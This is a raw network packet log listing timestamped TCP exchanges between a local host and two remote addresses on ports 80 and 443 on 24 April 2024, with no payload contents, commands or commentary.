Apr 24, 2024 17:47:09.589638948 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589668989 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589698076 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589735985 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589749098 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589775085 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589781046 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589823008 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589847088 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589885950 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589898109 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589922905 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.589930058 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589972019 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.589994907 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590033054 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590034962 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590071917 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590080976 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590111971 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590121984 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590157032 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590182066 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590219975 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590231895 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590265989 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590290070 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590327978 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590342999 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590368986 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590429068 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590466022 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590481043 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590502024 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590508938 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590538979 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590548992 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590591908 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590610027 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590660095 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590712070 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590749979 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590763092 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590794086 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590820074 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590857983 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590871096 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590903044 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.590926886 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.590972900 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591001034 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591049910 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591072083 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591123104 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591173887 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591223955 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591244936 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591281891 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591293097 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591326952 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591387033 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591424942 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591439009 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591469049 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591495037 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591531992 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591551065 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591573000 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591603041 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591639996 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591653109 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591686964 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591711998 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591749907 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591763020 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591794968 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591821909 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591875076 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.591922998 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591962099 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.591972113 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592008114 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592032909 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592070103 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592082977 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592122078 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592137098 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592175961 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592248917 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592248917 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592344046 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592381954 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592385054 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592421055 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592427015 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592477083 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592494011 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592531919 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592547894 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592571020 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592576027 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592608929 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592622042 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592654943 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592680931 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592719078 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592736006 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592756987 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592761993 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592803001 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.592920065 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592957973 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.592974901 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593003035 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593031883 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593070984 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593082905 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593116999 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593173027 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593210936 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593224049 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593259096 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593281984 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593336105 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593352079 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593389988 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593396902 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593462944 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593472958 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593511105 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593523979 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593564034 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593581915 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593620062 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593635082 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593657017 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593664885 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593698025 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593727112 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593764067 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593782902 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593801975 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593811035 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593841076 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593848944 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593879938 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593885899 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593925953 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.593955040 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.593997002 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.594010115 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.594041109 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.594067097 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.594105959 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.594116926 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.594144106 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.594151020 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.594182014 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.594189882 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.594232082 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.594254017 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.594290018 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.594307899 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.594335079 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.730647087 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:09.730730057 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:09.732547045 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:09.732564926 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:09.734323978 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:09.734339952 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:09.882940054 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.882999897 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.883018017 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.883042097 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.883044004 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.883085012 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.883102894 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:09.883147955 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:09.883393049 CEST	49736	80	192.168.2.4	211.119.84.111
Apr 24, 2024 17:47:10.179001093 CEST	80	49736	211.119.84.111	192.168.2.4
Apr 24, 2024 17:47:10.780229092 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:10.780256987 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:10.780333042 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:10.780353069 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:10.780378103 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:10.780755043 CEST	49742	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:10.780777931 CEST	443	49742	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:10.953785896 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:10.953839064 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:10.954083920 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:10.954668045 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:10.954687119 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:11.612812996 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:11.614562988 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:11.614932060 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:11.614944935 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:11.616710901 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:11.616715908 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:11.616750002 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:11.616755962 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:11.954201937 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:11.954296112 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:11.954392910 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:11.955039978 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:11.955073118 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:12.608750105 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:12.608838081 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:12.614017963 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:12.614031076 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:12.615766048 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:12.615776062 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:12.716681957 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:12.716742992 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:12.716766119 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:12.716779947 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:12.716820002 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:12.717628956 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:12.717645884 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:13.633477926 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:13.633505106 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:13.633518934 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:13.633601904 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:13.633601904 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:13.633634090 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:13.633682966 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:13.781975985 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:13.782005072 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:13.782073021 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:13.782099009 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:13.782145977 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.004916906 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.004930019 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.004961014 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.005008936 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.005070925 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.005103111 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.005160093 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.152935028 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.152956963 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.153021097 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.153067112 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.153099060 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.153202057 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.265728951 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.265753984 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.265947104 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.265947104 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.266009092 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.266112089 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.346282959 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.346304893 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.346370935 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.346437931 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.346472025 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.349600077 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.403146982 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.403167963 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.403223991 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.403265953 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.403297901 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.403322935 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.471553087 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.471574068 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.471642017 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.471676111 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.471728086 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.536540985 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.536556959 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.536623955 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.536639929 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.536674976 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.536693096 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.596673012 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.596689939 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.596759081 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.596798897 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.596863985 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.643285036 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.643305063 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.643460989 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.643491030 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.643539906 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.683666945 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.683681011 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.683878899 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.683947086 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.684490919 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.722690105 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.722707987 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.722927094 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.722994089 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.723082066 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.753443003 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.753458023 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.753542900 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.753607035 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.753671885 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.784363031 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.784378052 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.784425974 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.784451008 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.784463882 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.784514904 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.811194897 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.811211109 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.811305046 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.811305046 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.811372995 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.811443090 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.838481903 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.838496923 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.838573933 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.838614941 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.838643074 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.838680983 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.866661072 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.866677046 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.866765976 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.866787910 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.866842031 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.890377045 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.890407085 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.890499115 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.890539885 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.890595913 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.914437056 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.914462090 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.914520979 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.914566994 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.914589882 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.916054010 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 17:47:14.935710907 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 17:47:14.935733080 CEST	443	49745	95.217.9.149	192.168.2.4
